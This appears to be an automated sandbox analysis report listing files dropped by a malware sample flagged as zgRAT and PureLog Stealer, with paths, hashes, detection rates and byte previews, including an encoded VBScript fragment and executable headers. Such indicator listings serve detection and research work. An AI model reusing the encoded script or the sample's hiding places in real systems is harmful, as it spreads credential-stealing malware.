C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\sqls211.exe
File Type:	data
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.742217278143619
Encrypted:	false
SSDEEP:	6:GFtkvwqK+NkLzWbHprFnBaORbM5nCL/ELHm3Xg4sa8DaQXIN:GFFMCzWLphBaORbQCLMjmfs3Da5N
MD5:	41BB352391FB715E18562592B8A1EAEF
SHA1:	B836DCEAB0D0C78EBC4C47894F2FE8D06D4FCF68
SHA-256:	F72B4AD1BB1A2D8E3B4E03082F05AAC7767465B862C43B69B18CFE75DF3C184C
SHA-512:	010BC79E98CC43AED0D9AC3CB5CA6011BC04CDA0F6322FAA2DEC0C2D5D692CE07985B7806FFCBEC8D76DE7C90E7B88332D52AB665EA557C506C194BFCB0995EE
Malicious:	true
Reputation:	unknown
Preview:	#@~^yQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2v T!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPrYzw2GlDl]J/!.DKoCY.f.r7+DbUYK?+kdrW.1.Y&z+KA&K6:.K5o 8mYJS~Z~~0msk+AUEAAA==^#~@.

C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\89a29d32a0dd9b

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with very long lines (572), with no line terminators
Category:	dropped
Size (bytes):	572
Entropy (8bit):	5.885860175731103
Encrypted:	false
SSDEEP:	12:x8nSbsu+/69mgXqDknzWKH75BoSmgBLKTR43ib/2un:Snia69DnnrBoSmgBLKuyx
MD5:	50194EBD62B7084C07308B3B86198BCC
SHA1:	F6CDEEA224F68C56DA931508CD9D549686CDEE2F
SHA-256:	E696ED1AA7B342B7C9C1E27027E566F76363E90BF498AE5C62DE69CB5B8A8E60
SHA-512:	BFE1FC51FBB605BED393134D6EA7243C22DFDA9E63181AAA0AB792B8E3AD71B012261DE200D6D72EDB03DB952B7E5D8F0A61C0F65CAAB0DF592F5B367A2A54EF
Malicious:	false
Reputation:	unknown
Preview:	lkb7tTFdb12NMuTS2CcOxlSJ9VLjfvA7Zu80JI9OTYeahssS7jrd4NvARS7YHf8p14xcwdItCN4ZG1mQn2m5EgCL88i1KlHyZzjm4Qgdb8brSV3apqvP2ClU1mdy4QibGGARR9WWWIeFFV2nEILd025WNPuSwrjKZ9lMVmIpUY2tifOgt0twEEkOKnEBPEkojTqGtqRc9gJc9LyrBNj68wGVZXBshHaQyNKOzIxCiRxi4IO8yWABenqxNVqVpj41F3ovBk23agYr8haQJC3LGZvKhXAdbbX8W5dBec7NdHl8P9yp5aMmqsvqIdOokZb8JaUDEYwqFqs9yx5hjUiAPuSoKw3ANTmEpmyzovlgofh99v2UiqFQ0atZHq2RevdwDoTL8F2xtBWuNSoZ4icgNWNP2Zr82TC3Cu6VcqVdxRhzE9LzCdX5T6iqaESjY45Z9drcWS6OM9t6zYL3N26Z5GjFMP4XXwE3WHzkRtdtgJtUNl0C3ZVg7fe33mPGXj0a4zksikmeYM3wXP2lY2e8ai50n6qpdXV6SSaXAIdSx1HulrfotorfF29V3uFm

C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\sqls211.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

C:\Users\user\Desktop\ANcNpKUT.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\GEAmOcnc.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TDoLDJFD.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WteBKGGw.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dFyrOIJL.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fXnruzVd.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\hwphVFJE.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\otdhyUEt.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pGGHecbL.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\phhpjhAr.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qeIxFhOl.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\utYFHYqz.log

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\BitLockerDiscoveryVolumeContents\0addff5cf70349

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with very long lines (508), with no line terminators
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.88364750750886
Encrypted:	false
SSDEEP:	12:Td4xUukmnqLSjrXtKrgLCGMjMQf59r0kKqP:TdXukmwsj8jRf59r0kKqP
MD5:	B179665A2E8C5316FA604B018DB9133E
SHA1:	9E46331F9F2B4A6EB3F3CD82526DB3AD8545662A
SHA-256:	F0451D7775CA9F6488A31E553604BBD2E9AF1A4CCFB9C47E3C47C5E080338AC7
SHA-512:	A0EA9C0DAC4606FA394D9E400A22F13BD26E5019276F4F83F02A6DF9201E895310C686E675904F44A80A7FB5BE0E5AA60E1BE90D9DAD14B9B32A1F657FD8F137
Malicious:	false
Reputation:	unknown
Preview:	kQZLLjbKO5aC6yp01aSFdQC0Y0zF3pNbyOEaF3ra3tfJL1ANVAEDvuBTNiwVuVQjr9NsuOv7s2Luv2pgzmt3kKpEMuNgHWqhc5bMoSdHOHU3iQiU3PfHlX9hTJf9BO0WMnSzac2gJmodzwf5M2m10i5E632fxdFAQ8r58s3bX989sfshnjxJl8gnrN3gjXtpgoM1Ek7d8Le1j6WaLV1Nq6YRbDNvzX1APScDT1cDmTLaeoEv1cVOfg9kQ4ZBXMolUdlReSHT2ykWv7xw9b4XBmetS1xZcbpapkFADwRiVBWq6nzSHmB5SRjs828mer1aIJrL2wtMKVB9PyxpCeRzZuIYAXCKyoDnK5hw6oaV2zv6PkcKFSk9ZBBYATKeujXfRYzTQAtXE67k9MJa51FfEDNI4Jvmd5lTbPo0uI3EjM5dEaZyKuj2d2aNLqZHPG4IVoIthSpw7B62ItEeu6ctWszjzapEtwzdSxIaSpR1Fw4c5iFbl5XSnKvmyi4G

C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

C:\Windows\CbsTemp\0addff5cf70349

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with very long lines (883), with no line terminators
Category:	dropped
Size (bytes):	883
Entropy (8bit):	5.896891979213714
Encrypted:	false
SSDEEP:	24:RPfdTPlo+leH2olKiz8BsUDuJL/eDCc/fP4N5oSpHAc:LJo+GHYXBLDSL/eNsOSL
MD5:	C0AB8FD2B9F54B1DAC64125C3C74DBF9
SHA1:	43665D88BACE65356A128FF623E4F34033D712C3
SHA-256:	9BB6B72262DCA0D68AABED74AD7BB1906398EE73FF8E38162EED84108ABC29A6
SHA-512:	408DBAC76D534418BF96F0D193CDF706358161D94DB790B2410774578E653DB3B99CC66895F21155F95F57E10ACAEAB747058EB3C087D93A9240453DC8BDFEA2
Malicious:	false
Reputation:	unknown
Preview:	f6FKr52LFmF13kwnXBUTFs0IOHkzN6az4vZ4px9nlUIgVg7d5gX03xxwF75jVC7JMQ7HK17jCqsvjTwsKG3rij6G8nzs2ZSiW9UFizSDjyyMFBMwKNYOJPlmT0JhCPrmYJYk8qJVyzItvtB6aChoBDZGXrvspuAUGMy5nmxeEDaTH11kzMG9rClUuRMR4bpDzxni4FTyPDk7nF8g0L2cnBmDleKWZgjmXWeUNSpu3SuocnrpSqbtiMaxLj7a46Zte7jRloShfIiVQ7l7wfDsEzEL6qIoUPz72AKeEaEnY3NanEhO8AnY3qoo3YV4goMQSlcPxG3WbaULmnh1J4pUlaDMWglpFJGtq6HBlRa1HR7dVdCP0dvm82p1iQ3RfNRSTlepffQ1dxNTdk03dVzlYeuyQPdUXJV3AoJu8WtVN3JLoWY7ZAxKYp4y0pYQB5eTbTTyaG4GleYeVjJ41g5XWLfUuV4T8dTSZztVDjgTFqi4RZcQfeYfAG6Qx8EFLlIIKGFf0y1R9lRqmlDV2nxeEyRS3dhEfaHeiatKT7armHfYyQnM4sNiynDWywmXQwvidxHL22B5NF17S3dmzVJwNjq4XWWgUDa0V65BIbTCrSUswFE5TAh5m9V3GNyfgekJoBmW7bdXCHF5O8IRSbNTffNWlB55nxfMrKDuds71gK2e3ZoIFhNFQRnJyQu6giuOm2OD4XykdVxVmscLWwzGka6ag46N7AV7Zo2ALkNrtml4dSgFxjktsnnL6yhAbkncAz580b9vjIX7zB6OX1ZXamPwArEXDNQI9I4oWiOVkyKkQqW52SmjLQBYkJ7JXmrV1O7qGR2ymExmbofUVIfvkq7tGfEMlF77GysBspykay7HdZ65ony

C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
